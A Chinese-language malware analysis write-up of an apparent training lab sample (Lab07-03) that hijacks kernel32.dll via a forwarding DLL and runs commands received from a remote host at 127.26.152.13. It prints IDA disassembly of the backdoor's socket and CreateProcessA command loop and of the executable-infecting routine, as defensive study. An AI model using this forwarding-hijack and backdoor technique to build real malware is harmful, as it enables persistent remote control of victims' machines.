DLL劫持转发重定向后门的分析

简介: DLL劫持转发重定向后门的分析

前言

这次分析的是一个exe +dll文件,很明显,在exe执行的时候应该要动态链接该dll的,那就一个个分析,逐一攻破。

详细分析

DLL文件

几个导入函数。包括 CreateProcessA以及WS2_32.dll 的通过网络接收和发送数据的函数。

1725c9fe694a60f72aaf796f937df414_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

但是该dll文件的字符串很有意思,其中还包括了一个 IP地址 127.26.152.13

88d634770be91c90d21893d699c38ab8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

另一点比较奇怪的是该dll文件并没有导出函数。

48fd0d16d247c51cef164c1876fc8313_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

那就先从入口点分析吧。但是……指令贼多,一句一句分析效率太慢了。

bd6627e502f3340576f328afe4e6e187_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

先看call 指令调用的函数吧。

10001015 call alloca_ probe//调用库函数__alloca_probe分配栈空间
10001059 call ds:OpenMutexA//打开互斥量
1000106E call ds:CreateMutexA//创建互斥量 这两个在一起保证同一时间只有这个程序的一个实例在运行
1000107E call ds:WSAStartup//WS2_32.dll的一个函数
10001092 call ds:socket
100010AF call ds:inet addr
100010BB call ds:htons
100010CE call ds:connect
10001101 call ds:send
10001113 cal1 ds:shutdown
10001132 call ds:recv//一直到这里,都是为了建立网络连接socket通信
1000114B call ebp;strncmp
10001159 call ds:Sleep
10001170 call ebp ; strncmp
100011AF call ebx ; CreateProcessA//创建进程
100011C5 call ds:Sleep

到这里大概可以猜一下,该dll文件建立通信后创建进程,很像我们建立shell的行为。

接下来看函数的具体参数。

connect连接的是 127.26.152.13这个IP地址,并且端口是 50h,即80端口。emm80端口,猜测可能走http协议进行通信,找一下通信的流量

4cc0ee614fdf6298f8238bfa44478b00_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这里 buf数组存入了 hello 字符串……好像cobalt strike里的娱乐弹窗……

25e5d638e2535d3b0ade89c764c1de6c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

看下recv接收的流量。在 10001124处,lea 指令访问 buf,指针指向buf这块缓冲区,接着 push了3个参数,调用 recv指令,但这里好像也看不出来什么

fd918a87a67d4b23ed6a76adb18dd311_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

接着往下看。1000114Bcmp 前面是不是 sleep字符串,它会在 10001150处检查是否返回值是否为0,如果是0,调用 sleep函数

也就是说如果远程shell终端发送的命令是sleep,则执行sleep函数

2fe2f9ce9a0b8c6bc8ae36f1f92c6944_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

到这里并没有结束,buf 缓冲区还在被使用。首先检查指令是不是 exec,如果是,strncpy函数返回0,顺序执行,直到 100011AF处创建进程。看到CreateProcessA有很多参数,不过最重要的还是 lpCOmmandLine,它来自1000119B处的 CommandLine,双击追踪这个参数发现它在栈空间中

.text:10001161 loc_10001161:                           ; CODE XREF: DllMain(x,x,x)+142↑j
.text:10001161                 lea     edx, [esp+1208h+buf]
.text:10001168                 push   4               ; MaxCount
.text:1000116A                 push    edx             ; Str2
.text:1000116B                 push   offset aExec    ; "exec"
.text:10001170                 call    ebp ; strncmp
.text:10001172                 add     esp, 0Ch
.text:10001175                 test    eax, eax
.text:10001177                 jnz     short loc_100011B6
.text:10001179                 mov     ecx, 11h
.text:1000117E                 lea     edi, [esp+1208h+StartupInfo]
.text:10001182                 rep stosd
.text:10001184                 lea     eax, [esp+1208h+ProcessInformation]
.text:10001188                 lea     ecx, [esp+1208h+StartupInfo]
.text:1000118C                 push    eax             ; lpProcessInformation
.text:1000118D                 push    ecx             ; lpStartupInfo
.text:1000118E                 push   0               ; lpCurrentDirectory
.text:10001190                 push   0               ; lpEnvironment
.text:10001192                 push   8000000h        ; dwCreationFlags
.text:10001197                 push   1               ; bInheritHandles
.text:10001199                 push   0               ; lpThreadAttributes
.text:1000119B                 lea     edx, [esp+1224h+CommandLine]
.text:100011A2                 push   0               ; lpProcessAttributes
.text:100011A4                 push    edx             ; lpCommandLine
.text:100011A5                 push   0               ; lpApplicationName
.text:100011A7                 mov     [esp+1230h+StartupInfo.cb], 44h ; 'D'
.text:100011AF                 call    ebx ; CreateProcessA
.text:100011B1                 jmp     loc_100010E9

追踪到dllmain函数这里,发现它的初始值是 0FFBh,同时buf的初始值是1000h,说明缓冲区从这里开始。

0c01c6b234e41fdc5a84ee19ac05ee75_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这里大概清楚了这个dll文件会创建进程来实现远程socket通信,对于攻击者来说就是弹shell,也就是后门。但是这个dll文件并没有导出函数,它怎么被调用执行啊……

先放一放,看看exe文件


EXE文件

先看exe的导入表,其中几个重点关注下,当然不止这几个,这里我懒得敲了,等下逐个分析

CreateFileMappingA
CreateFileA
CopyFileA

很明显,这里exe文件并没有在运行时导入该dll文件,导入函数中没有 LoadLibrary/ GetProcAddress,与前面分析dll文件正好对应

9c7da6f175f22987a910a40d27d33b48_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这几个字符串也是很有意思

7417cb939ab506a821a88287cd33a529_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

来看一看main函数

.text:00401440                 mov     eax, [esp+argc]
.text:00401444                 sub     esp, 44h
.text:00401447                 cmp     eax, 2
.text:0040144A                 push    ebx
.text:0040144B                 push    ebp
.text:0040144C                 push    esi
.text:0040144D                 push    edi
.text:0040144E                 jnz     loc_401813
.text:00401454                 mov     eax, [esp+54h+argv]
.text:00401458                 mov     esi, offset aWarningThisWil ;"WARNING_THIS_WILL_DESTROY_YOUR_MACHINE"
.text:0040145D                 mov     eax, [eax+4]
.text:00401460
.text:00401460 loc_401460:                             ; CODE XREF: _main+42↓j
.text:00401460                 mov     dl, [eax]
.text:00401462                 mov     bl, [esi]
.text:00401464                 mov     cl, dl
.text:00401466                 cmp     dl, bl
.text:00401468                 jnz     short loc_401488
.text:0040146A                 test   cl, cl
.text:0040146C                 jz     short loc_401484
.text:0040146E                 mov     dl, [eax+1]
.text:00401471                 mov     bl, [esi+1]
.text:00401474                 mov     cl, dl
.text:00401476                 cmp     dl, bl
.text:00401478                 jnz     short loc_401488
.text:0040147A                 add     eax, 2
.text:0040147D                 add     esi, 2
.text:00401480                 test   cl, cl
.text:00401482                 jnz     short loc_401460
.text:00401484
.text:00401484 loc_401484:                             ; CODE XREF: _main+2C↑j
.text:00401484                 xor     eax, eax
.text:00401486                 jmp     short loc_40148D

先分析关键指令,在 401447处会比较 eax/argc (即传递的参数的个数)是否为2,如果不是2,跳转到 101813,程序终止,这里启动程序时添加参数是为了防止意外启动造成不必要的后果。否则继续执行。在 401458处将 "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" 字符串放入 esi 寄存器中,在 40145D中,eax 存储 argv[1]。接着比较 argv[1] 的值是不是  "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" ,如果不是,跳转到 401488,程序终止。注意在 401482处的跳转到 401460,往回跳转,很明显是个循环。

8e618af2fa9c23e2e7d0751a5a616eb6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

接下来分析 40148D

.text:0040148D loc_40148D:                             ; CODE XREF: _main+46↑j
.text:0040148D                 test    eax, eax
.text:0040148F                 jnz     loc_401813
.text:00401495                 mov     edi, ds:CreateFileA
.text:0040149B                 push    eax             ; hTemplateFile
.text:0040149C                 push    eax             ; dwFlagsAndAttributes
.text:0040149D                 push   3               ; dwCreationDisposition
.text:0040149F                 push    eax             ; lpSecurityAttributes
.text:004014A0                 push   1               ; dwShareMode
.text:004014A2                 push   80000000h       ; dwDesiredAccess
.text:004014A7                 push   offset FileName ; "C:\\Windows\\System32\\Kernel32.dll"
.text:004014AC                 call    edi ; CreateFileA
.text:004014AE                 mov     ebx, ds:CreateFileMappingA
.text:004014B4                 push   0               ; lpName
.text:004014B6                 push   0               ; dwMaximumSizeLow
.text:004014B8                 push   0               ; dwMaximumSizeHigh
.text:004014BA                 push   2               ; flProtect
.text:004014BC                 push   0               ; lpFileMappingAttributes
.text:004014BE                 push    eax             ; hFile
.text:004014BF                 mov     [esp+6Ch+hObject], eax
.text:004014C3                 call    ebx ; CreateFileMappingA
.text:004014C5                 mov     ebp, ds:MapViewOfFile
.text:004014CB                 push   0               ; dwNumberOfBytesToMap
.text:004014CD                 push   0               ; dwFileOffsetLow
.text:004014CF                 push   0               ; dwFileOffsetHigh
.text:004014D1                 push   4               ; dwDesiredAccess
.text:004014D3                 push    eax             ; hFileMappingObject
.text:004014D4                 call    ebp ; MapViewOfFile
.text:004014D6                 push   0               ; hTemplateFile
.text:004014D8                 push   0               ; dwFlagsAndAttributes
.text:004014DA                 push   3               ; dwCreationDisposition
.text:004014DC                 push   0               ; lpSecurityAttributes
.text:004014DE                 push   1               ; dwShareMode
.text:004014E0                 mov     esi, eax
.text:004014E2                 push   10000000h       ; dwDesiredAccess
.text:004014E7                 push   offset ExistingFileName ; "Lab07-03.dll"
.text:004014EC                 mov     [esp+70h+argc], esi
.text:004014F0                 call    edi ; CreateFileA
.text:004014F2                 cmp     eax, 0FFFFFFFFh
.text:004014F5                 mov     [esp+54h+var_4], eax
.text:004014F9                 push   0               ; lpName
.text:004014FB                 jnz     short loc_401503
.text:004014FD                 call    ds:exit

在4014AC处调用了 CreateFileA,接着还有 CreateFileMappingA/MapViewOfFile/,所以这么多函数到底干了什么?毋庸置疑的是 创建了 Kernel32.dll这个文件,CreateFileMappingA这是一个共享内存函数,会 创建一个文件映射对象,目的是为了写入内存中,这里的参数就是 kernel32.dll,接着利用MapViewOfFile将文件映射到进程地址空间


接着往下看,在 4017D4这里,调用了两个 CloseHandle,因为对前面的文件已经操作完毕。接着在 4017F4处调用 CopyFileA,将 恶意dll文件 copy为 kernel32.dll,这样就可以理解为什么 该恶意dll文件没有被导出了,很常规的一次dll劫持

2f1cbd8c3b8a22c7cb111c2df8369a0e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

紧接着传入了C盘的盘符,调用了 4011E0,

74a09b9034e10cecc231705799fb9c18_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

来到 4011E0处,只调用了 FindFirstFileA,来搜索C盘符,

76561150714fe092cba7de7b8160fa2b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

接下来的call指令就是 stricmp,找一下它push的参数,会比较字符串是否是.exe,

8f29133eb5b0850333c4d75dd7c14959_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

在这之后会调用 FindNextFileA,查找下一个文件,然后在 401427处jmp 到 401210,往前跳转,说明这是一个循环,然后在40142E处调用 FindClose函数,终止。

eefc1e5cf63247206cb1996485d3167e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

到这里,梳理一下,这个函数在找C盘里的exe文件,并且匹配相应的dll,接着进行一系列操作。

接着call 4011A0,看到 4010A0处的函数调用。

依旧是调用了 CreateFileA/ CreateFileMappingA/ MapViewOfFile用来将文件映射到内存中。

接着调用 IsBadReadPtr函数,检查调用进程是否具有读取指定内存区域的权限。下面都是对该函数的一些算术运算,直接pass

.text:004010A0                 sub     esp, 0Ch
.text:004010A3                 push    ebx
.text:004010A4                 mov     eax, [esp+10h+lpFileName]
.text:004010A8                 push    ebp
.text:004010A9                 push    esi
.text:004010AA                 push    edi
.text:004010AB                 push   0               ; hTemplateFile
.text:004010AD                 push   0               ; dwFlagsAndAttributes
.text:004010AF                 push   3               ; dwCreationDisposition
.text:004010B1                 push   0               ; lpSecurityAttributes
.text:004010B3                 push   1               ; dwShareMode
.text:004010B5                 push   10000000h       ; dwDesiredAccess
.text:004010BA                 push    eax             ; lpFileName
.text:004010BB                 call    ds:CreateFileA
.text:004010C1                 push   0               ; lpName
.text:004010C3                 push   0               ; dwMaximumSizeLow
.text:004010C5                 push   0               ; dwMaximumSizeHigh
.text:004010C7                 push   4               ; flProtect
.text:004010C9                 push   0               ; lpFileMappingAttributes
.text:004010CB                 push    eax             ; hFile
.text:004010CC                 mov     [esp+34h+var_4], eax
.text:004010D0                 call    ds:CreateFileMappingA
.text:004010D6                 push   0               ; dwNumberOfBytesToMap
.text:004010D8                 push   0               ; dwFileOffsetLow
.text:004010DA                 push   0               ; dwFileOffsetHigh
.text:004010DC                 push   0F001Fh         ; dwDesiredAccess
.text:004010E1                 push    eax             ; hFileMappingObject
.text:004010E2                 mov     [esp+30h+hObject], eax
.text:004010E6                 call    ds:MapViewOfFile
.text:004010EC                 mov     esi, eax
.text:004010EE                 test    esi, esi
.text:004010F0                 mov     [esp+1Ch+var_C], esi
.text:004010F4                 jz     loc_4011D5
.text:004010FA                 mov     ebp, [esi+3Ch]
.text:004010FD                 mov     ebx, ds:IsBadReadPtr
.text:00401103                 add     ebp, esi
.text:00401105                 push   4               ; ucb
.text:00401107                 push    ebp             ; lp
.text:00401108                 call    ebx ; IsBadReadPtr
.text:0040110A                 test    eax, eax
.text:0040110C                 jnz     loc_4011D5
.text:00401112                 cmp     dword ptr [ebp+0], 4550h
.text:00401119                 jnz     loc_4011D5
.text:0040111F                 mov     ecx, [ebp+80h]
.text:00401125                 push    esi
.text:00401126                 push    ebp
.text:00401127                 push    ecx
.text:00401128                 call   sub_401040
.text:0040112D                 add     esp, 0Ch
.text:00401130                 mov     edi, eax
.text:00401132                 push   14h             ; ucb
.text:00401134                 push    edi             ; lp
.text:00401135                 call    ebx ; IsBadReadPtr
.text:00401137                 test    eax, eax
.text:00401139                 jnz     loc_4011D5
.text:0040113F                 add     edi, 0Ch


继续往下看,找到了 stricmp函数调用,来检查 字符串是否是 kernel32.dll,接着在401186处调用 repne scasb,用来重复扫描特定字符串的长度, 在401196处调用 rep movsd。这里的用处和 strlen+memcpy函数是等价的。至于往内存中写入的是什么东西,看下edi寄存器里存的是什么,

1e8cd1c72b05695df33699d9d2e3e2d2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

定位到403010处,

2bdbc762df6f0453255a6946fd9e0ee6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这里存储的是 kernel32.dll这个字符串,按下A键,可以看到转换为了该字符串。

a556acd9a96eb643b7f05e78fef9df00_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image.png


总结

至此,梳理下,这个exe文件遍历C盘查找所有的 exe文件,并且找到其中 kernel32.dll的位置,并且用我们的恶意dll文件替换它,简单来说就是劫持 kernel32.dll。但是也不对啊,这个恶意dll只是实现了后门的功能,并没有正常kernel32.dll的功能,按理说劫持后exe文件会运行失败。

动态分析,在恶意代码运行后,正常kernel32.dll的md5并没有被改变,说明该dll没有被修改。而当我们再次看我们的恶意dll时,发现它导出了所有的kernel32.dll的导出函数,这些导出函数是重定向后的,相当于做了一次转发。功能还在原来的kernel32.dll上,只是程序运行时会加载我们的恶意dll。所以在main函数中访问 kernel32.dll和我们的恶意dll,是在解析kernel32.dll中的导出段并且在恶意dll中创建一个导出段,用来导出并转发函数。这是一个重定向转发dll劫持。

de30b0ed338ba6b0557cb4bd74ccbc54_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

9578aed0a5109ee0d41b97ec4c9d7554_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


相关文章
|
3天前
|
供应链 安全 开发者
供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击
近日(2024年4月25号),悬镜供应链安全情报中心在Pypi官方仓库(https://pypi.org/)中捕获1起CStealer窃密后门投毒事件,投毒者连续发布6个不同版本的恶意Py包multiplerequests,目标针对windows平台python开发者,该恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。
27 0
供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击
|
8月前
|
安全 网络安全 PHP
TP-RCE绕过阿里云防护Getshell
TP-RCE绕过阿里云防护Getshell
148 1
|
12月前
|
安全 PHP 数据安全/隐私保护
记一次webshell文件及流量免杀
记一次webshell文件及流量免杀
250 0
|
安全 Ubuntu Shell
|
XML Web App开发 安全
DVR登录绕过漏洞&&phpstudy后门rce
DVR登录绕过漏洞&&phpstudy后门rce
DVR登录绕过漏洞&&phpstudy后门rce
|
SQL 监控 安全
网站服务器被攻击了如何查找木马(webshell)IP 篡改的痕迹
很对客户网站以及服务器被攻击,被黑后,留下了很多webshell文件,也叫网站木马文件,客户对自己网站的安全也是很担忧,担心网站后期会继续被攻击篡改,毕竟没有专业的安全技术去负责网站的安全防护工作,通过老客户的介绍很多客户在遇到网站被攻击后找到我们SINE安全做网站的安全服务,防止恶意攻击与篡改。对网站进行全面的防御与加固,我们在对客户网站进行安全部署的同时,客户经常会想要了解到底网站,以及服务器是如何被入侵,攻击者的IP是谁,那么我们SINESAFE技术针对这种情况,最好的办法就是通过日志进行分析,溯源追踪,帮助客户找到网站漏洞根源,到底是谁在攻击他们。下面我们来分享一下,我们是如何对日志进
560 0
网站服务器被攻击了如何查找木马(webshell)IP 篡改的痕迹
|
网络协议 Linux C#
NativePayload_DNS,通过DNS流量,绕过防病毒传输后门
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396319 传送门 注意标点符号,必须是英文的。
1407 0
|
Web App开发 网络协议 物联网